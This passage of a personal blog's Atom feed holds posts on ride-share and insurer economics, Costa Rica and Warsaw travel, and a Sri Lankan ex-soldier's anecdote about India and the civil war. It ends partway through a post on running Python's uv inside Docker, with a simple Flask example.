<a href="https://github.com/daveshanley/vacuum?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">vacuum linter</a>
to ensure that the specification does not have any errors or lint issues.</p>
<p>Further, use   
    
    
<a href="https://github.com/oasdiff/oasdiff?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">oasdiff</a> in your version control to
prevent any breaking changes to the API.</p>
<p>You can use   
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gabo</a> to auto-generate the GitHub Actions
to lint, validate, and prevent breaking changes to the Open API specification.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">The Achilles heel of American capitalism</title><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/capitalism-achilles-heel/</id><author><name>Ashish Bhatia</name></author><published>2025-11-07T05:00:15+00:00</published><updated>2025-11-07T05:00:15+00:00</updated><content type="html"><![CDATA[<blockquote>The Achilles heel of American capitalism</blockquote><p>I paid USD 70 for a ride to the 
<a href="/travel/">airport</a>.
I asked the driver how much he got. &ldquo;Benti-cinco&rdquo;, he replied.
That&rsquo;s 25 for Spanish!
&ldquo;¿Cuarenta y cinco (45) por Lyft?&rdquo;, I asked in my broken Spanish to confirm.
&ldquo;Si&rdquo;, he replied.</p>
<p>I could not believe my ears.
The story is   
    
    
<a href="https://www.reddit.com/r/uberdrivers/comments/1cwhp7n/uber_keeping_50_of_fares/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">same</a> with Uber.
When the ride-sharing companies started, they were taking ~15% cut.
Now, they are taking anywhere from 50 to 60% of the cut.
Even if ~10% of this is taxes, the take rate of the app has increased significantly.
And the stock market loves the Uber and Lyft stock.</p>
<p>Now, you might be shocked and wonder what if the government stepped in and restricted the take rate.
Well, that&rsquo;s what happened with the healthcare.</p>
<p>The 
<a href="/finance/why-not-abolish-employer-provided-health-insurance/">health insurance companies</a>
are   
    
    
<a href="https://stanmed.stanford.edu/how-health-insurance-changed-from-protecting-patients-to-seeking-profit/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">restricted</a>
to take no more than 20% of the revenue.
The only way for their revenues to grow is to charge higher premiums!</p>
<p>And that&rsquo;s where lies the Achilles heel of American capitalism.
All publicly traded companies are required to increase their earnings (net income).
Once you have exhausted the customer base, you can either grow by squeezing your suppliers
(in the case of ride-sharing) or by continuously increasing the premium for your customers (in the case of health care)
and sometimes both.</p>
<p>The public market dislikes stagnating earnings.
And sooner or later, the companies suffer a leveraged buyout, leading to the replacement of the CEO with someone
who is willing to play the game and the
  
    
    
<a href="https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">enshittification</a> continues.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="This American Life"/></entry><entry><title type="html">Costa Rica in 4 days</title><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/guatemala/?utm_source=atom_feed" rel="related" type="text/html" title="Guatemala in 8 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/costa-rica/</id><author><name>Ashish Bhatia</name></author><published>2025-11-01T16:00:12+00:00</published><updated>2025-11-01T16:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Costa Rica&rsquo;s charm: from San José&rsquo;s urban vibe to Jaco&rsquo;s beaches and the awe-inspiring Arenal Volcano. Essential tips for a seamless journey!</blockquote><p>Costa Rica is the most beautiful of all 
<a href="/tag/central-america/">Central American</a> countries.</p>
<h2 id="day-1---san-josé">Day 1 - San José</h2>
<p>Like most 
<a href="/tag/latin-america/">Latin American</a> capitals.
San José is a bit of a dump.
Further, it rains a lot in San José.
I would recommend leaving immediately for Jaco.</p>
<figure>
    
    <a href="san-jose-costa-rica.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-jose-costa-rica.jpg"
         alt="San Jose Costa Rica" width="900"/> </a>
</figure>

<h2 id="day-2---jaco">Day 2 - Jaco</h2>
<p>I took a   
    
    
<a href="https://www.rome2rio.com/map/San-Jos%C3%A9-Costa-Rica/Jaco-Beach?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">2-hour bus</a> from San José to Jaco.
Unlike San José, Jaco is a beach town with a significant expat population.</p>
<p>Getting around Costa Rica is not easy, but I would still not recommend renting a scooty here.
Unlike 
<a href="/travel/nicaragua/">Nicaragua</a> or 
<a href="/travel/thailand/">Thailand</a>, the roads are always slippery due to the rain.</p>
<figure>
    
    <a href="crocodile-point-river-tarcoles.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="crocodile-point-river-tarcoles.jpg"
         alt="Crocodile Point" width="900"/> </a>
</figure>

<figure>
    
    <a href="frog-on-hand.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="frog-on-hand.jpg"
         alt="A small frog rests on a human hand, photographed at an animal sanctuary, with a focus on showcasing its detailed features." width="900"/> </a><figcaption>
            Frog on my hand at an animal sanctuary
        </figcaption>
</figure>

<p>Note that it is easier and preferred to get 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">rentals</a> in Jaco than in San José.</p>
<h2 id="day-3---la-fortuna">Day 3 - La Fortuna</h2>
<p>I drove from Jaco to Arenal Volcano. The journey took about 5 hours.</p>
<figure>
    
    <a href="arenal-volcano.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="arenal-volcano.jpg"
         alt="Arenal Volcano in the background" width="900"/> </a><figcaption>
            Arenal Volcano
        </figcaption>
</figure>

<p>I would highly recommend staying at   
    
    
<a href="https://arenalbackpackers.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Arenal Backpackers Resort</a> in La Fortuna at night.</p>
<figure>
    
    <a href="arenal-backpackers-resort.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="arenal-backpackers-resort.jpg"
         alt="A nighttime view of Arenal Backpackers Resort in La Fortuna, Costa Rica, featuring a well-lit outdoor pool area surrounded by tropical foliage and umbrellas." width="900"/> </a><figcaption>
            Arenal Backpackers Resort
        </figcaption>
</figure>

<h2 id="day-4---back-to-jaco">Day 4 - Back to Jaco</h2>
<p>Earlier in the morning, I drove to Laguna Cerro Chato.</p>
<figure>
    
    <a href="laguna-cerro-chato.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="laguna-cerro-chato.jpg"
         alt="A serene lake, Laguna Cerro Chato" width="900"/> </a><figcaption>
            Laguna Cerro Chato
        </figcaption>
</figure>

<p>And then later, I drove back to Jaco.</p>
<h2 id="note">Note</h2>
<ol>
<li>The US Dollar is widely accepted.</li>
<li>Credit cards are accepted everywhere.</li>
<li>The prices are high compared to most Latin American countries.</li>
<li>English is widely spoken. Similar to 
<a href="/travel/cancun-mexico/">Cancun</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/central-america" term="central-america" label="central-america"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/costa-rica" term="costa-rica" label="costa-rica"/></entry><entry><title type="html">At a juice stall in Sri Lanka</title><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><id>https://ashishb.net/short-stories/sri-lanka-juice-stall/</id><author><name>Ashish Bhatia</name></author><published>2025-10-25T17:00:39+00:00</published><updated>2025-10-25T17:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the intriguing history of Sri Lanka&rsquo;s civil war, India&rsquo;s influence, and a surprising peacekeeping revelation from an ex-army man in Colombo.</blockquote><p>We sat for juices and tea in 
<a href="/travel/sri-lanka/">Colombo</a>.
An ex-army man ran the stall.
He served during the   
    
    
<a href="https://en.wikipedia.org/wiki/Sri_Lankan_civil_war?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Tamil-Sinhalese civil war</a>
that subsumed North Sri Lanka.</p>
<p>&ldquo;The Indian Prime Minister   
    
    
<a href="https://en.wikipedia.org/wiki/Indira_Gandhi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indira Ghandy</a>, thought of Sri Lanka as the 25th state of India&rdquo;, he remarked.
&ldquo;Why?&rdquo;, I asked.
&ldquo;The politics of Tamil Nadu required that Indian politicians do something about supporting Tamilians in Sri Lanka&rdquo;, he responded, &ldquo;infact, even LTTE was trained by the Indian army&rdquo;.
&ldquo;That&rsquo;s a tall claim!&rdquo;, I countered.</p>
<p>[Some further background here, after the murder of Indira Ghandy,   
    
    
<a href="https://en.wikipedia.org/wiki/Rajiv_Gandhi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rajiv Ghandy</a> won with a thumping majority. So, he probably didn&rsquo;t have to care about Tamil Nadu politics anymore. That&rsquo;s probably why, he made a U-turn and decided to send Indian Peace Keeping Force. This action, probably seen as a betrayal by Tamilians, led to his assassination via a suicide bombing attack].</p>
<p>Looking at disbelief in my eyes, he shared a story of a peace meeting called by the   
    
    
<a href="https://en.wikipedia.org/wiki/Indian_Peace_Keeping_Force?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indian Peace Keeping Force (IPKF)</a>.
&ldquo;So, we were heading to meet the Tamil National Alliance for peacekeeping with   
    
    
<a href="https://en.wikipedia.org/wiki/Tamil_Eelam_Liberation_Army?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TELA</a>.
The IPKF and we were sitting there.
The TELA guys enter.
And one of them salutes the Indian Army officer!
The officer felt dismayed.
I asked how do you know this officer?
And he said that the IPKF officer trained him!&rdquo;</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/sri-lanka" term="sri-lanka" label="sri-lanka"/><category scheme="https://ashishb.net/tag/india" term="india" label="India"/></entry><entry><title type="html">A short stay at Warsaw, Poland</title><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Oslo, Norway"/><id>https://ashishb.net/travel/warsaw-poland/</id><author><name>Ashish Bhatia</name></author><published>2025-10-18T08:00:57+00:00</published><updated>2025-10-18T08:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Warsaw&rsquo;s charm with its vibrant old town and historical treasures, from the Wishing Bell to the iconic Mermaid. A journey through history awaits!</blockquote><p>After an overnight 
<a href="/travel/public-transport-guide/">bus journey</a> from 
<a href="/travel/vilnius-lithuania/">Vilnius, Lithuania</a>, I reached Warsaw, Poland.
Warsaw isn&rsquo;t a typical eastern european capital.
It is huge.
Compared to 
<a href="/travel/budapest-hungary/">Budapest</a> or 
<a href="/travel/tallinn-estonia/">Tallinn</a>, it is a huge metropolitan city.</p>
<p>However, they have spent decades recreating the old town which was completely destroyed in the World War II.</p>
<p>I would recommend 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">staying in the old town</a> and starting your trip with a   
    
    
<a href="https://freewalkingtour.com/warsaw/warsaw-historic-centre/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>.</p>
<p>You will visit the town square</p>
<figure class="align-center ">
    
    <a href="poland-warsaw-town-square.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="poland-warsaw-town-square.jpg#center"
         alt="Warsaw Poland Town Square features colorful historic buildings surrounding an open plaza with tourists exploring the area." width="900"/> </a><figcaption>
            Warsaw Poland Town Square
        </figcaption>
</figure>

<p>See the   
    
    
<a href="https://www.atlasobscura.com/places/old-town-wishing-bell?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wishing Bell</a></p>
<figure class="align-center ">
    
    <a href="poland-warsaw-wishing-bell.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="poland-warsaw-wishing-bell.jpg#center"
         alt="A wishing bell in Warsaw, Poland, located in an old town setting, surrounded by historic architecture." width="900"/> </a><figcaption>
            Wishing Bell
        </figcaption>
</figure>

<p>And visit the mythological protector of the town, a   
    
    
<a href="https://www.atlasobscura.com/places/mermaid-of-warsaw?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mermaid</a>.</p>
<figure class="align-center ">
    
    <a href="poland-warsaw-mermaid-statue.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="poland-warsaw-mermaid-statue.jpg#center"
         alt="A statue of a mermaid stands prominently, symbolizing the protector of Warsaw, Poland. She holds a sword and shield, representing strength and resilience." width="900"/> </a><figcaption>
            Mermaid
        </figcaption>
</figure>

<p>You will get to see statue of the child soldier commemorating those kids who fought during the World War II.</p>
<figure class="align-center ">
    
    <a href="poland-warsaw-little-insurrectionist.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="poland-warsaw-little-insurrectionist.jpg#center"
         alt="A statue of a child soldier commemorating children who fought in World War II, located in Poland." width="900"/> </a><figcaption>
            Child Soldier
        </figcaption>
</figure>

<p>And don&rsquo;t forget to visit the inspiring   
    
    
<a href="https://www.mmsc.waw.pl/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Marie Curie Museum</a>, covering her life and discovery of radioactivity.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/poland" term="poland" label="poland"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Best practices for using Python &amp; uv inside Docker</title><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><link href="https://ashishb.net/programming/python-in-production-2/?utm_source=atom_feed" rel="related" type="text/html" title="How to run Python in production"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><id>https://ashishb.net/programming/using-python-uv-inside-docker/</id><author><name>Ashish Bhatia</name></author><published>2025-10-11T06:00:08+00:00</published><updated>2025-10-11T06:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Best practices for using Python &amp; UV inside Docker</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://www.reddit.com/r/Python/comments/1o3p4bf/best_practices_for_using_python_uv_inside_docker/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit" loading="lazy" src="/programming/using-python-uv-inside-docker/reddit-badge.svg"></a></td>
          <td>  
    
    
<a href="https://pycoders.com/issues/706?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Pycoder&rsquo;s Weekly" loading="lazy" src="/img/pycoders-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://python.libhunt.com/newsletter/491?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Awesome Python Weekly Newsletter" loading="lazy" src="/img/libhunt-badge.svg"></a></td>
          <td>  
    
    
<a href="https://pythonhub.dev/digest/2025-10-19/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="PythonHub" loading="lazy" src="/img/python-hub-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<p>I have been watching   
    
    
<a href="https://docs.astral.sh/uv/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">uv</a>, the open-source Package manager for Python, for a while.</p>
<p>Earlier this year, I decided that it would be my preferred Python package manager going forward.</p>
<p>I migrated my private as well as   
    
    
<a href="https://github.com/ashishb/adb-enhanced/commit/6cfb82da421b1e5813e0f9ac27875411da93bee0?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">public codebases</a> to <code>uv</code> and have since
recommended it in my relatively popular article on running 
<a href="/programming/python-in-production-2/">Python in production</a>.</p>
<p>Getting <code>uv</code> right inside 
<a href="/tag/docker/">Docker</a> is a bit tricky and even their
  
    
    
<a href="https://docs.astral.sh/uv/guides/integration/docker/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">official recommendations</a> are not optimal.</p>
<p>Similar to 
<a href="/programming/using-python-poetry-inside-docker/">Poetry</a>,
I recommend using a 
<a href="/programming/docker-101/">two-step build process</a> to eliminate <code>uv</code> from the final image size.</p>
<p>Consider a simple Flask-based web server as an example</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Create a sample package</span>
</span></span><span style="display:flex;"><span>$ uv init --name<span style="color:#719e07">=</span>src
</span></span><span style="display:flex;"><span>$ uv add flask <span style="color:#719e07">&amp;&amp;</span> uv sync
</span></span><span style="display:flex;"><span>$ touch README.md
</span></span><span style="display:flex;"><span>$ mkdir src
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Create a file src/server.py in your favorite editor</span>
</span></span><span style="display:flex;"><span>$ cat src/server.py
</span></span><span style="display:flex;"><span>from flask import Flask
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">app</span> <span style="color:#719e07">=</span> Flask<span style="color:#719e07">(</span>__name__<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route<span style="color:#719e07">(</span><span style="color:#2aa198">&#34;/&#34;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>def hello_world<span style="color:#719e07">()</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> <span style="color:#2aa198">&#34;&lt;p&gt;Hello, World!&lt;/p&gt;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> <span style="color:#268bd2">__name__</span> <span style="color:#719e07">==</span> <span style="color:#2aa198">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>  app.run<span style="color:#719e07">()</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Let&rsquo;s finish the build process
Now, let&rsquo;s add a simple Dockerfile <code>Dockerfile1</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
